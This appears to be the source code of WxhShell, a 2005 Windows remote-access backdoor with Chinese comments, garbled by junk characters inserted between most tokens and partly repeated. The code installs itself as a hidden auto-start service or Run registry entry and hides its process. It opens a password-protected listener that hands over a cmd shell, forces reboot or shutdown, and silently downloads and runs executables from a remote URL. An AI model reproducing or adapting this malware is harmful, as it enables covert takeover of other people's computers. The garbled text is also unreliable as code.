l PROCESS_BASIC_INFORMATION pbi; +}@HtjM [UHDN:y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cHMS[.=; if(NULL == hInst ) return 0; Y+tXWN"8 =N zA2td g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8y{<M"v+/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ctL@&~*nY NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lS(?x|dO @u2nG:FG if (!NtQueryInformationProcess) return 0; \ oIVE+L/P }$ Am;%?p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :d<;h:^_ if(!hProcess) return 0; 217KJ~)' $h-5PwHp if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bG0t7~!{E #`mo5 CloseHandle(hProcess); pcw^W
mu/O\'5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ArUGa(;f if(hProcess==NULL) return 0;
WoiK _Ud y3K9rf HMODULE hMod; MD,}-m char procName[255]; )[>b7K$f unsigned long cbNeeded; 8]N+V: mq?5|` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RYaf{i` 8 JUUK(&Z CloseHandle(hProcess); V(Ps6jR"BS rQbL86+ if(strstr(procName,"services")) return 1; // 以服务启动 t,.MtU>K@ $Rsf`*0- return 0; // 注册表启动 hb"t8_--c } wvm`JOP:A |Y!#` // 主模块 "S43:VH int StartWxhshell(LPSTR lpCmdLine) KFd"JtPg { d\dt}&S 5 SOCKET wsl; Eq9TJt'3y BOOL val=TRUE; _n(NPFV int port=0; RvYH(!pQ struct sockaddr_in door; # a
'h, m[C-/f^u| if(wscfg.ws_autoins) Install(); '@u/] ra: 9(Vq@.;Z`j port=atoi(lpCmdLine); /}Y>_87 [BHf> if(port<=0) port=wscfg.ws_port; Mrp'wF
D qDO4&NO WSADATA data; elZ?>5P$} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F+_4Q PqIGc if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; QH6Lb%]/ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 85l 1 door.sin_family = AF_INET; n~l )7_G door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8| zR8L door.sin_port = htons(port); ;5A&[]@^^@ Zg|z\VR if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z^>[{|lIA closesocket(wsl); m u(HNj return 1; %lchz/ } -L6 rXQV@j a4X J0Tm if(listen(wsl,2) == INVALID_SOCKET) { <w}k9(Ds closesocket(wsl); sD.bBz return 1; I -i)D } })Rmu."\ Wxhshell(wsl); Roy0?6O WSACleanup(); ?MuM _6 qu8i Jq return 0; REhXW_x Ix%h/=I } LKG],1n- LQ?J
r>4 // 以NT服务方式启动 3KfZI&g VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -,et. * { Wy,DA^\ef DWORD status = 0; "TKf"zc DWORD specificError = 0xfffffff; 2s;/*<WM C8y 3T/G serviceStatus.dwServiceType = SERVICE_WIN32; %FQMB serviceStatus.dwCurrentState = SERVICE_START_PENDING; %lV&QQa serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %L{ H_;z serviceStatus.dwWin32ExitCode = 0; j_\sdH*r serviceStatus.dwServiceSpecificExitCode = 0; kqSCKY1 serviceStatus.dwCheckPoint = 0; {SW104nb serviceStatus.dwWaitHint = 0; |,5b[Y"Dt 4-=> >#
P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \w^iSK- if (hServiceStatusHandle==0) return; X",fp %WCA?W0:4 status = GetLastError(); Vf*!m~]Vqi if (status!=NO_ERROR) y%=\E { +M
(\R?@gr serviceStatus.dwCurrentState = SERVICE_STOPPED; Fm{Ri=X<: serviceStatus.dwCheckPoint = 0; <dDGV>n4;
serviceStatus.dwWaitHint = 0; }
O9q$-8! serviceStatus.dwWin32ExitCode = status; OibW8A4Z1 serviceStatus.dwServiceSpecificExitCode = specificError; ,Z#t-? SetServiceStatus(hServiceStatusHandle, &serviceStatus); N-
? U2V return; 3`J?as@^8 } @h([c }.4`zK&SB serviceStatus.dwCurrentState = SERVICE_RUNNING; P@p(Y2&~g serviceStatus.dwCheckPoint = 0; 1#Dpj.cO# serviceStatus.dwWaitHint = 0; _$0<]O$ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jwTb09 } `,aPK/ PX[taDN // 处理NT服务事件,比如:启动、停止 ^M
PU?k VOID WINAPI NTServiceHandler(DWORD fdwControl) 1okL]VrI { &6PZX0M switch(fdwControl) N6$pOQ { oGly|L> case SERVICE_CONTROL_STOP: |h*H;@$ serviceStatus.dwWin32ExitCode = 0; (}"r 5 serviceStatus.dwCurrentState = SERVICE_STOPPED; vAq`*]W+ serviceStatus.dwCheckPoint = 0; Us M|OH5k serviceStatus.dwWaitHint = 0; D<#+ R" { `.Y["f
1B SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mvrc[s+o } F^IYx~: return; [L|H1ll case SERVICE_CONTROL_PAUSE: AGn:I?? serviceStatus.dwCurrentState = SERVICE_PAUSED; LCRreIIgZ break; @W=#gRqQPy case SERVICE_CONTROL_CONTINUE: >z
h serviceStatus.dwCurrentState = SERVICE_RUNNING; ]o_Z3xXUa break; ;)5d
wq case SERVICE_CONTROL_INTERROGATE: j.sxyW?3 break; >yg mE`g }; 9cWl/7;zXO SetServiceStatus(hServiceStatusHandle, &serviceStatus); WcPDPu~/ } ,JN2q]QPP fg%I?ou // 标准应用程序主函数 "QA# int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kW4/0PD { X(?.*m@+TB d[w 'j/{ // 获取操作系统版本 B1JdkL 3h OsIsNt=GetOsVer(); 0lF[N.!\9 GetModuleFileName(NULL,ExeFile,MAX_PATH); 5 r"`c *pk*ijdB // 从命令行安装 r{$ip"f if(strpbrk(lpCmdLine,"iI")) Install(); bAeC=?U yW^[{)V 3% // 下载执行文件 _$NFeqLww if(wscfg.ws_downexe) { =ILs[p if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V?
w;YTg WinExec(wscfg.ws_filenam,SW_HIDE); C&,&~^_F } #!OCEiT_ KFdV_e5lU if(!OsIsNt) { nyi}~sB // 如果时win9x,隐藏进程并且设置为注册表启动 Av^{$9yl HideProc(); f`.8.1Rd StartWxhshell(lpCmdLine); O>wGc8Of\ } `ndesP else xSs);XO, if(StartFromService()) IwKhun // 以服务方式启动 ^L+*}4Dr StartServiceCtrlDispatcher(DispatchTable); b>hNkVI else dZIAotHN: // 普通方式启动 H`njKKdR StartWxhshell(lpCmdLine); 7UejK r m(s(2wq"f return 0; G`8gI)$u } 36*"oD=@ 8t!(!<iF0 #gMMhB= #Bg88!-4 =========================================== &vLz{ ,icgne1j mFjX EQSOEf[ ,@tkL!"9q 5:Pp62 " iN"kv JC(rSs* #include <stdio.h> 4vT!xn #include <string.h> 8s/gjEwA #include <windows.h> r )ZUeHt}w #include <winsock2.h> GRB/N1= #include <winsvc.h> `$ZX]6G #include <urlmon.h> Y|_#yb MGfDxHg] #pragma comment (lib, "Ws2_32.lib") ,G!M?@Q #pragma comment (lib, "urlmon.lib") P(_D%0xKm &dh%sFy #define MAX_USER 100 // 最大客户端连接数 n`2d #define BUF_SOCK 200 // sock buffer 81eDN6
M\ #define KEY_BUFF 255 // 输入 buffer
7"2L|fG 8B JxD< #define REBOOT 0 // 重启 J_C<Erx[O #define SHUTDOWN 1 // 关机 (8TB*BhQ_ C<?}?hhb #define DEF_PORT 5000 // 监听端口 KoRJ'WW^ o%i^t4J$e #define REG_LEN 16 // 注册表键长度 PBbJfm #define SVC_LEN 80 // NT服务名长度 yQ}$G
,x 7*^-3Tt83 // 从dll定义API Bq.@CxK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T1m"1Q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "=@b>d6U+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n .ZLR=P4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8i!AJF9IQ} nBI?~hkP3 // wxhshell配置信息 E0'+]"B struct WSCFG { = I,O+^ int ws_port; // 监听端口 VLC<ju! char ws_passstr[REG_LEN]; // 口令 B]L5K~d int ws_autoins; // 安装标记, 1=yes 0=no U&yXs'3a& char ws_regname[REG_LEN]; // 注册表键名 Rq )&v*= char ws_svcname[REG_LEN]; // 服务名 QG*=N {%5 char ws_svcdisp[SVC_LEN]; // 服务显示名 'A;G[(SYy char ws_svcdesc[SVC_LEN]; // 服务描述信息
H;s char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CnSf GsE> int ws_downexe; // 下载执行标记, 1=yes 0=no hEi]-N\X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'iA#lKG char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4sasf94 SeN4gr* }; &PVos|G lYmqFd~p // default Wxhshell configuration @X4Ur+d struct WSCFG wscfg={DEF_PORT, AD#]PSB "xuhuanlingzhe", V>ML-s9 1, L^bt-QbhO "Wxhshell", 7K,Quq.%+ "Wxhshell", :K>v
F`SM "WxhShell Service", 3sIW4Cs7)U "Wrsky Windows CmdShell Service", MGze
IrV "Please Input Your Password: ", usH9dys, 1, I_6NY,dF "http://www.wrsky.com/wxhshell.exe", ,yus44w[ "Wxhshell.exe" M.$Li#So, }; g@wF2= zs
e<b/G1G // 消息定义模块 >J[Bf9)> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |I-;CoAg char *msg_ws_prompt="\n\r? for help\n\r#>"; ~qt)r_jW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3:@2gp!tq char *msg_ws_ext="\n\rExit."; Jz7a|pgep char *msg_ws_end="\n\rQuit."; hr_ 5D char *msg_ws_boot="\n\rReboot..."; aDmyr_f$ char *msg_ws_poff="\n\rShutdown..."; 'kb5pl~U char *msg_ws_down="\n\rSave to "; mbB,j~;^6H T6m#sVq char *msg_ws_err="\n\rErr!"; C~4_Vc* char *msg_ws_ok="\n\rOK!"; JBfDz0P mR@|] T char ExeFile[MAX_PATH]; vw5f.8T;w int nUser = 0; TG7Ba[% HANDLE handles[MAX_USER]; o`5p
"v
r int OsIsNt; ph{p[QI:{X $&~/`MxE SERVICE_STATUS serviceStatus; O4RNt,?l SERVICE_STATUS_HANDLE hServiceStatusHandle; _G%]d$2f` EBlfwFd // 函数声明 W&CQ87b int Install(void); <k?ofE1o int Uninstall(void); b~fX=!M int DownloadFile(char *sURL, SOCKET wsh); ]x1MB|a6 int Boot(int flag); bwo-9B void HideProc(void); KiYO,nD;\ int GetOsVer(void); 1c_gh12 int Wxhshell(SOCKET wsl); q9fCoz void TalkWithClient(void *cs); cpvN
}G int CmdShell(SOCKET sock); 9<u^.w int StartFromService(void); @Gp=9\L int StartWxhshell(LPSTR lpCmdLine); ?PVJeFH Mx<z34(T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
N1,=5P$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); #=F"PhiX` uT'_}cw // 数据结构和表定义 qcMVY\gi SERVICE_TABLE_ENTRY DispatchTable[] = i; Cs,Esnf { pm$2*!1F( {wscfg.ws_svcname, NTServiceMain}, K*iy ^} {NULL, NULL}
bj23S& }; \Zc$X^}vN Q|QVm,m // 自我安装 ?#;
oqH< int Install(void) ^2f'I iE { Rs_0xh char svExeFile[MAX_PATH]; f?8cO#GU HKEY key; }/~%Ysl strcpy(svExeFile,ExeFile); L#sw@UCK \{r-e // 如果是win9x系统,修改注册表设为自启动 Ft%HWGE if(!OsIsNt) { t`NZ_w / if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !wiW#PR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U
|I>CDp RegCloseKey(key); SY\ UuZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S<}2y 9F
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ].F7.
zi RegCloseKey(key); zRTR return 0; :#D?b.= } Vp8t8X1` } }s)MDq9 } J)1:jieQ else { ~^d. zIN! UjibQl3:m // 如果是NT以上系统,安装为系统服务 272j$T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]=\Mf< if (schSCManager!=0) m|q?gX9R { +. /c=o/v SC_HANDLE schService = CreateService XMhDx ( Y[%1?CREP schSCManager, 3TUW+#[Gu wscfg.ws_svcname, ]jbQou@ wscfg.ws_svcdisp, GMmz`O
XN SERVICE_ALL_ACCESS, g8^\| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W>C!V SERVICE_AUTO_START, FTM(y CN SERVICE_ERROR_NORMAL, s_]p6M svExeFile, vZV+24YWb NULL,
.G}E NULL, D|8vS8p NULL, m-f"EFmP NULL, A
?"(5da. NULL _&S?uz m ); H I/]s^aL if (schService!=0) R=M"g|U6 { 0kN;SSX! CloseServiceHandle(schService); a<X8l^Ln CloseServiceHandle(schSCManager); blxAy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .G[y^w)w} strcat(svExeFile,wscfg.ws_svcname); o(xRq;i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #_yQv? J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rfqw/o RegCloseKey(key); xdWfrm$;ZA return 0; (;u tiupW } d,=Kv } /lAB CloseServiceHandle(schSCManager); ?pgdj|"a } =`2nv0%2 } CU=}]Y +EJwWDJ!% return 1; (]wi^dE } }.Eq_wP< H5t 9Mg| // 自我卸载 J6x\_]1:* int Uninstall(void) 216+ tX5Z { 8r[ZGUV HKEY key; 4 -)'a} O vQrce& if(!OsIsNt) { Ta #vD_QP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rQiX7 RegDeleteValue(key,wscfg.ws_regname); EubR]ckB RegCloseKey(key); htc& !m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ q*kD#;mh RegDeleteValue(key,wscfg.ws_regname); -1Y9-nn[m RegCloseKey(key); MLg<YL return 0; pT]M]/y/: } L(!4e } iO=xx|d } Ore$yI}!m else { t}-[^|)7 ]D^ dQ%{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'Z2:u!E if (schSCManager!=0) r})2-3ZA9 { g-'y_'%0G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zx^]3} if (schService!=0) jB }O6u[% { &d`T~fl| if(DeleteService(schService)!=0) { )/k0*:OMyO CloseServiceHandle(schService); 0z?b5D; CloseServiceHandle(schSCManager); QFoZv+| return 0; n<MMO=+bg } H e]1<tx CloseServiceHandle(schService); E/cA6*E[.< } ~`2w
ul CloseServiceHandle(schSCManager); }GvoQ#N } pTq,"}J!+ } U
-~%-gFC *nNzhcuR return 1; -oq!zi4: } A2' !f_GR Pj' // 从指定url下载文件 P# 2&?.d\ int DownloadFile(char *sURL, SOCKET wsh) 2=ZR}8}9Q: { bb;fV HRESULT hr; mY-Z$8r char seps[]= "/"; KtJE char *token; ;ak3@Uee char *file; xVoWGz7 char myURL[MAX_PATH]; O$x-&pW`g char myFILE[MAX_PATH]; 8o8FL~&] xrx{8pf strcpy(myURL,sURL); 1!/+~J[# token=strtok(myURL,seps); {frEVHw while(token!=NULL) A/N*Nc { zO{$kT\r& file=token; )6)|PzMQ' token=strtok(NULL,seps); j)\g0u6 } (ohkM`83k THHrGvb GetCurrentDirectory(MAX_PATH,myFILE); 3(P^PP8 strcat(myFILE, "\\"); 475yX-A strcat(myFILE, file); YVVX7hB send(wsh,myFILE,strlen(myFILE),0); I^Ichn send(wsh,"...",3,0); hM
E|=\
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :b>Z|7g ? if(hr==S_OK) )DMu`cD return 0; )ufHk else %Hv$PsSJ return 1; o^RdVSkU; Orh5d7+S } uZZ[`PA( QxnP+U~N // 系统电源模块 rP ;~<IxEr int Boot(int flag) (Wr;:3i { Y^LFJB|b4 HANDLE hToken; 8DTk<5mW~ TOKEN_PRIVILEGES tkp; 1W~-C B> v,vTRrpK if(OsIsNt) { 0!=e1_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3sGrX"0D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f[7'kv5S tkp.PrivilegeCount = 1; t^?8Di\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E E?v~6"& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QOuy(GY
if(flag==REBOOT) { bI[!y#_z4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N-^\X3X return 0; /iif@5lw{ } +Smv<^bW else { B2d$!Any if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) > 0 !J]gK return 0; 4\pA^%73 } d1e'!y}R5 } &o"Hb=k< else { 5K'EuI) if(flag==REBOOT) { 7i{Rn K6* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rQ}4\PTi
return 0; qIjC-#a=m } PB>p"[ap4 else { W/oRt<:E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N(vbo return 0; OpxVy _5, } Oi
BK } {\|? {8f u-UUF return 1; mk\U wv } i?=3RdP/R1 {DN c7G // win9x进程隐藏模块 rShi"Yw void HideProc(void) *(?YgV { O#O~A| BT>*xZLpS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Aog3d\1$ if ( hKernel != NULL ) 0nx
<f>n { C,2IET pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h83ho ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D\({]oj] FreeLibrary(hKernel); 1+eC'&@Xjt } -D:J$d
6R< W}L=JJo}, return; %h|z) } #PXl*~PrQ/ |D]jdd@!a2 // 获取操作系统版本 q4Ye int GetOsVer(void) `m2F.^qrr { DDAqgx OSVERSIONINFO winfo; $#R.+B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W\eB GetVersionEx(&winfo); x?CjRvT$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uzp!Y&C return 1; F!]UaEmV else AN:,t(w return 0; f~Kln^ } ! FHNKh q<c).4 // 客户端句柄模块 [&NF0c[i int Wxhshell(SOCKET wsl) KD,b.s { :@:R4Ac SOCKET wsh; =m} {g/Bk struct sockaddr_in client; 2gt08\
DWORD myID; U^pe/11)H 1MB while(nUser<MAX_USER) $,i:#KT` { K:'pK1zy int nSize=sizeof(client); FC]? T wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *3"C"4S if(wsh==INVALID_SOCKET) return 1; 9HTb xmiF!R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R63"j\0 if(handles[nUser]==0) ;uoH+`pf closesocket(wsh); ;/oMH/,U8 else 4D58cR} nUser++; ~-M7 } boN)C?"^h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *[.\S3K` 6Ir
?@O1'! return 0; T$}<So| } 42m`7uQ ke3=s // 关闭 socket *EV] 8 void CloseIt(SOCKET wsh) _^a.kF { h@W}xT closesocket(wsh); |d%Dw^ nUser--; QyHUuG|g ExitThread(0); =z=Guvcn` } =HoiQWQs` Mm6
(Q // 客户端请求句柄 7FMHz.ZRE void TalkWithClient(void *cs) 4uNcp0 { k ,<L#?,a 0.@/I}R[ SOCKET wsh=(SOCKET)cs; #h r!7Kc;N char pwd[SVC_LEN]; U Ciq'^, char cmd[KEY_BUFF]; -CL7^ char chr[1]; '|FM|0~-J int i,j; c7iu[vE'+ .7)A8R7Wt while (nUser < MAX_USER) { r,b ;OdUH if(wscfg.ws_passstr) { B1LnuB% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8|d[45*q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4yBe(&N-d //ZeroMemory(pwd,KEY_BUFF); #e9B|Y?b i=0; bM-Y4[ while(i<SVC_LEN) { (j-(fS >Mvt;'c // 设置超时 ^2mXXAQf7^ fd_set FdRead; }>Os@]*'^( struct timeval TimeOut;
N}dJ)<(2~ FD_ZERO(&FdRead); pg>P]a{ FD_SET(wsh,&FdRead); -9aht}Z TimeOut.tv_sec=8; 'm2,7] TimeOut.tv_usec=0; *K+*0_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G %#us3x if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F5MWxAS,> s#d# *pgzh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZnJnjW PQ pwd=chr[0]; x(t}H8q if(chr[0]==0xd || chr[0]==0xa) { '6xn!dK pwd=0; VS}Vl break; =} vG| } 8L|C&Ymj i++; ,$}Q#q } _aDx('
M.IV{gj // 如果是非法用户,关闭 socket Lqch~@E&%# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .
}=;]= } 3)3'-wu X,OxvmDm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _X]? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |/<iydP m.^6ef while(1) { #);
6+v ZDVaKDqZ_ ZeroMemory(cmd,KEY_BUFF); .4^Paxz >Y\4v}- // 自动支持客户端 telnet标准 st+Kz uK j=0; Br yMq ! while(j<KEY_BUFF) { ZR#UoYjupb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ntF(K/~Y cmd[j]=chr[0]; GB
!3Z if(chr[0]==0xa || chr[0]==0xd) { "^trHh8= cmd[j]=0; 1gt[_P2u break; d@w
I:
7 } Yb6\+}th j++; 6C3y+@9 } qb9%Y/xy WYh7Y // 下载文件 5o72X k if(strstr(cmd,"http://")) { 19=Dd#Nf send(wsh,msg_ws_down,strlen(msg_ws_down),0); sV*Q8b* if(DownloadFile(cmd,wsh)) 3;M!]9ms send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 $kZu else &G"]v]V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XSxya.1 } %(e=Q^= else { brVT :heJ5*!, switch(cmd[0]) { A%2!Hr jG^~{7# // 帮助 zeua`jQ case '?': { y7w>/7q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^{Vm,nAQqs break; Zg'[.wov } 2
43DdIG$ // 安装 "*T)L<G case 'i': { [cH/Y2[ if(Install()) {otvJ|'N send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Ep&:c4:D else I&vB\A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~kHir]jc break; ;zOZu~Q|' } Qz<-xe`o8] // 卸载 Hc+<(g case 'r': { S2NsqHJr if(Uninstall()) +|0 m6)J] send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49#-\=<gt else iKK=A.g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3a5H<3w_ break; givK{Yt<B } 4-"wFp // 显示 wxhshell 所在路径 Mfz5:' case 'p': { F?dTCa char svExeFile[MAX_PATH]; 980+Y strcpy(svExeFile,"\n\r"); ^*r${Nj strcat(svExeFile,ExeFile); '|cuVxcE55 send(wsh,svExeFile,strlen(svExeFile),0); 8%NX)hZyq} break; _m&VdIPO } zZRqb/20 // 重启 j[HKC0C6 case 'b': { 42C:cl} ." send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ENmo^O#,u if(Boot(REBOOT)) e}?t[aK4# send(wsh,msg_ws_err,strlen(msg_ws_err),0); P``hw=L else { d-*9tit closesocket(wsh); J^XH^`' ExitThread(0); CVUDN2 } A1@-;/H3 break; -Rvxjy)[N } YU"Am ! // 关机 226s:\d case 'd': { &l.^UQ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @N(jd($E if(Boot(SHUTDOWN)) Dxe|4"%^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Q%>Fv else { L=p.@VSZ closesocket(wsh); +-Dd*yD6< ExitThread(0); c`>\R<Z ] } xvkof
'Q) break;
dOhV`8l } -`RJk( // 获取shell Y!`?q8z$G case 's': { V.4j?\#% CmdShell(wsh); y>OZ<!` closesocket(wsh); MPB6 ExitThread(0); zZxP=
c break; T'V(%\w } }J*&()` // 退出 ^4[\-L8Lpq case 'x': { NqWHR~& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z:*U/_G CloseIt(wsh); aw 7f$Fqk break; ,VZ&Gc } kgI Wgk% // 离开 <,GHy/u\ case 'q': { vBpg6
fX send(wsh,msg_ws_end,strlen(msg_ws_end),0); EK'&S=] closesocket(wsh); `~RV WSACleanup(); wx!*fy4hL exit(1); V;6M[ic} break; ~L1O\V
i } ArEpH"}@ } "VeUOdNA> } d5%*^nMpY Yyo|W;a] // 提示信息 d{he if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EH:1Z*|Z{\ } q^cF D } C0W~Tk\C2 v Y\O=TZT return; |x4yPYBL } [vi4,'wm Po_OQJ:bd // shell模块句柄 <7 rK int CmdShell(SOCKET sock) LJ)) { ~Qsj)9 STARTUPINFO si; $P-m6 ZeroMemory(&si,sizeof(si)); Id*^H:]C# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >(CoXSV5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vz:0"y PROCESS_INFORMATION ProcessInfo; pd1m/: char cmdline[]="cmd"; Psa8OJan CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kziBHis! return 0; a(~YrA%~ } u
s0'7|{q =tNiIU // 自身启动模式 -FR ;: int StartFromService(void) VB\6SG { 9c^EoYpy- typedef struct "{k
)nr+7U { <f6PULm DWORD ExitStatus; J){\h-4 DWORD PebBaseAddress; ZX;k*OrW DWORD AffinityMask; }^ <zVdwp DWORD BasePriority; FNM"!z ULONG UniqueProcessId; _PbfFY # ULONG InheritedFromUniqueProcessId; Mh|`XO.5I } PROCESS_BASIC_INFORMATION; w3N%J>4_E DRoxw24 PROCNTQSIP NtQueryInformationProcess; $te,\$&} \i+h P1mz static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,m?D\Pru static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b1u'ukDP\ % 4"~O
_S HANDLE hProcess; DG\YZV4 PROCESS_BASIC_INFORMATION pbi; ] )L'Rk#4 -9I% HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \ Sby(l if(NULL == hInst ) return 0; gJxVU41 c.Y8CD.tqL g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +-\9'Q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P`
F'Nf2U NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bqi2n'^O2 )JQQ4D if (!NtQueryInformationProcess) return 0; F\R}no5C ~k0)+D} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *F*fH>?C# if(!hProcess) return 0; 0|!<|N< B9DxV>mr\r if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;cn.s, GKhwn&qCKb CloseHandle(hProcess); \,gZNe&Vv -!>ZATL<B hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .b`P! if(hProcess==NULL) return 0; +fQL~0tA u^$Md WP HMODULE hMod; i{ @'\}{L char procName[255]; +i#sS19h unsigned long cbNeeded; '?gIcWM w%dIe!sV 